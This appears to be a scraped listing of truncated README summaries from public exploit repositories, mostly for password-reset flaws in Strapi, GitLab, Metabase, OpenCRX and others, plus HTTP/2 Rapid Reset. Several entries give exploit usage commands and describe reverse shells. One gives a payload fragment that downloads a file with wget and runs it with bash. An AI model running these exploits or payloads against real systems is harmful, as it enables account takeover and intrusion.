CVE-2023-44487

HTTP2 Rapid Reset Attack: CVE-2023-44487 Quick exploit to test out rapid reset attack CVE-2023-44487. Note: For education purpose only 利用程序 快速利用程序，用于测试快速重置攻击（CVE-2023-44487）。注意：仅供教育目的。 目录 安装 使用 安装 使用Git将仓库克隆到本地计算机，安装Poetry，然后运行程序： git clone https://github.com/studiogangster/CVE-2023-44487.git cd...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： git clone...

CVE-2026-105127

The LaraDashboard software (versions 1.4.2 before 1.4.8 ) is vulnerable to a resource exhaustion issue within its unauthenticated forgot-password and reset-password endpoints. The root cause is the application's use of advanced email validation, which triggers external DNS lookups and paid Abstra...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2023-7028

CVE-2023-7028: Herramienta de explotación de CVE-2023-7028 Descripción: Este script de Python automatiza la explotación de una vulnerabilidad de seguridad hipotética CVE-2023-7028 en instancias de GitLab. Facilita ataques de restablecimiento de contraseña a direcciones de correo electrónico...

CVE-2025-50433

CVE-2025-50433 — 影响Monnit云平台.imonnit.com的严重账户接管漏洞 摘要 .imonnit.com 存在一个严重的认证漏洞，允许完全账户接管（ATO） 任何用户账户，且无需受害者交互。 后端未能验证密码重置令牌与目标电子邮件之间的关联 ，导致攻击者可以使用自己有效的重置令牌来重置任何受害者账户的密码。 攻击向量（逐步PoC） 1. 攻击者创建账户 A（[email protected]）。 2. 受害者拥有账户 B（[email protected]）。 3. 攻击者为账户 A 和 B 请求密码重置。 4. 攻击者仅收到账户 A...

CVE-2026-72898

CVE-2026-72898 PoC : Inyección SQL no autenticada en Metabase Inyección SQL previa a la autenticación en Metabase que conduce a la toma de control del administrador Prueba de concepto para CVE-2026-72898, una inyección SQL crítica no autenticada en el endpoint de restablecimiento de contraseña de...

CVE-2024-13513.py

使用方法 基本用法 python3 exploit.py -l targets.txt -e [email protected] 高级用法 python3 exploit.py \ -l targets.txt \ -e [email protected] \ -t 100 \ -o /path/to/results 参数说明 参数| 描述| 必需| 默认值 ---|---|---|--- -l, --list| 包含目标URL的文件路径| ✅ 是| - -e, --email| 用于密码重置的电子邮件地址| ✅ 是| - -t, --threads| 并发线程数| ...

CVE-2020-7378

CVE-2020-7378 – OpenCRX 可预测密码重置令牌及XXE漏洞利用 本仓库包含针对 OpenCRX （版本至 5.0-20200717 为止）关键漏洞 CVE-2020-7378 的复合概念验证 PoC 漏洞利用。该漏洞利用串联了应用程序中的两个核心问题： 1. 由于依赖 java.util.Random 导致的可预测密码重置令牌 漏洞，攻击者可基于毫秒时间戳种子生成有效令牌。 2. 位于 RestServlet 端点的盲 XML 外部实体 XXE 漏洞，允许远程读取服务器文件系统中的文件。 这两个缺陷的组合使未认证攻击者能够获取管理员权限并窃取服务器端的敏感文件。 漏洞...

CVE-2019-19609-POC-Python

该脚本将尝试将密码重置为"updatedpass"变量中声明的值；如果成功，它将从Strapi获取一个JWT令牌，并使用该令牌执行命令。 执行绑定命令无效，除非发送反向Shell载荷（使用bash或python等）。你可以生成一个.sh文件，该文件会为你下载nc并执行它，或者任何其他内容，甚至ELF文件。为此，请将payloadexp从&&改为。例如：&& $wget xxxx -O /tmp/oooo; bash /tmp/ooo URL 不再有效。...

CVE-2021-22911

CVE-2021-22911 如果你已经注册了一个用户，这将只重置管理员密码，而不会同时重置两者。这使得漏洞利用运行得更快。 python3 exploit.py -u test -a [email protected] -t http://chat.rocket.thm -i 10.10.4.24 -p 80...

CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

CVE-2025-52691 / WT-2026-0001 Exploit de SmarterMail 🚨 AVISO IMPORTANTE ¡Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos! El uso no autorizado es ilegal y poco ético Úsela solo en sistemas con autorización explícita Úsela bajo su propio riesgo Los usuarios son...

CVE-2024-34327

CVE-2024-34327 SQL注入漏洞检查器 本脚本（V-24-02-001SQLiCheck.py）是一个概念验证（PoC）工具，用于验证 CVE-2024-34327所标识的、影响password-reset-token.php端点的基于时间的盲SQL注入漏洞 。 ⚠️ 免责声明 本工具仅供教育和授权测试目的使用 。未经同意擅自扫描或利用系统是非法且不道德的。 🔍 漏洞详情 CVE ID ：CVE-2024-34327 漏洞标题 ：基于时间的盲SQL注入 产品 ：Sielox AnyWare 受影响版本 ：2.1.2 存在漏洞的端点...

CVE-2025-2812

CVE-2025-2812 — Mydata Bilişim Ltd. Şti 开发的“Bilet Satış Otomasyonu”中的 SQL 注入漏洞 📌 CVE-ID: CVE-2025-2812 📢 USOM 公告: tr-25-0099 🛡️ 漏洞类型: CWE-89 - SQL 注入（基于布尔值的盲注） 🏢 受影响产品: Bilet Satış Otomasyonu – Mydata Bilişim Ltd. Şti 🌐 示例目标 URL: https://otobusfirmasi.com.tr/otobus-bileti/SifremiUnuttum.php 🔍 漏洞概述...

CVE-2019-18818

CVE-2019-18818 Usage : url Reference : https://vulners.com/cve/CVE-2019-18818 https://thatsn0tmysite.wordpress.com/2019/11/15/x05/...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Cockpit CMS 0.11.2 NoSQL注入（RCE）实验环境 CVE‑2020‑35848 影响 Agentejo Cockpit CMS 0.11.2 之前的版本，在 /auth/newpassword 端点引入了一个严重的 NoSQL 注入漏洞。该缺陷允许未经身份验证的攻击者将 MongoDB 运算符注入密码重置请求，从而能够： 枚举有效用户名 提取密码重置令牌 重置任意帐户的密码 通过文件上传或自定义管理员操作链式实现远程代码执行 Check Point Software +11 NVD +11 GitHub +11 FortiGua...

CVE-2020-28874

该仓库包含在 ProjectSend r1270 版本中发现的漏洞（CVE-2020-28874）的描述。 感谢我的同事 Entelgy Innotec Security 推动我进步！ CVE-2020-28874：权限提升 描述 该漏洞存在于重置密码组件中，攻击者可以在没有有效令牌的情况下，通过用户名（如 admin）更改任何已知用户的密码。 这是因为后端没有用从提供的用户名加载的用户数据来清理 $userdata。 if !empty$GET'token' && !empty$GET'user' $gottoken = $GET'token'; $gotuser =...

CVE-2026-72898

🔴 CVE-2026-72898 - Inyección SQL no autenticada Metabase — Inyección SQL no autenticada → Toma de control total del administrador 📌 Descripción general CVE-2026-72898 es una vulnerabilidad de severidad máxima CVSS 10.0 de inyección SQL no autenticada en Metabase que permite a un atacante remoto...

CVE-2023-42820

CVE-2023-42820 CVE-2023-42820 漏洞说明 JumpServer 密码重置漏洞 USAGE V2 Update 1. 全新重构 2. 新增没有接收到账户和邮箱的情况下，使用默认账户和邮箱 3. 改进对验证码的识别和计算 4. 自动修改密码 5. 屏蔽多余的logs输出 V1 计算验证码需要指定对应邮箱的用户名，运行后会自动判断是否存在漏洞，并尝试计算验证码 python CVE-2023-42820.py -t http://IP:Port -e email -u username ██████╗██╗ ██╗███████╗ ██████╗ ██████╗...

cve-2023-44487-demo

⚡ Demo de CVE-2023-44487 – Ataque de Restablecimiento Rápido HTTP/2 Este proyecto demuestra la vulnerabilidad HTTP/2 "Restablecimiento Rápido" CVE-2023-44487 que permite a los atacantes abrumar servidores utilizando tramas RSTSTREAM, causando denegación de servicio DoS. Incluye: ✅ Prueba de explo...